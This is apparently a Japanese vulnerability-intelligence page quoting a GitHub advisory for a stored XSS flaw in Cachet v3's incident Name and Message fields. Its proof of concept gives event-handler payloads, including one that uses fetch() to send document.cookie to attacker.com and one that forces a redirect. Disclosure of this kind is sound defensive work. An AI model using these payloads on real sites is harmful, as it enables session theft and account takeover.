CVE-2026-113712 — 脆弱性インテリジェンス
PHP / Composer — cachethq/cachet
公表日:
- CVSS
- 0
- CISA KEV
- 未掲載（悪用がないことを意味しません）
情報源の原文（翻訳ではありません）
Cachet has Stored XSS in Incident Component
### Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
### Details
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.
Affected endpoint: /dashboard/incidents/
Affected fields: Incident Name, Incident Message
Affected version: Cachet v3
### PoC
1. Log in as an authenticated user
2. Navigate to /dashboard/incidents/
3. Create a new incident
4. Insert the following payloads in the Name and Message field:
Payload 1 — Confirm XSS execution:
```<img src=x onerror="alert(1)">```
Step 2 — Cookie/token exfiltration:
```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">```
Step 3 — Forced redirect to sensitive page:
```<img src=x onerror="window.location='/dashboard/manage-customization'">```
5. Save the incident
6. Navigate to the public status page
7. Payload executes in the victim's browser
### Payload 1
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />
### Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />
Stored XSS affecting all users who view the public status page.
An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`
This vulnerability could lead to full account takeover of any user who views the status page, including administrators.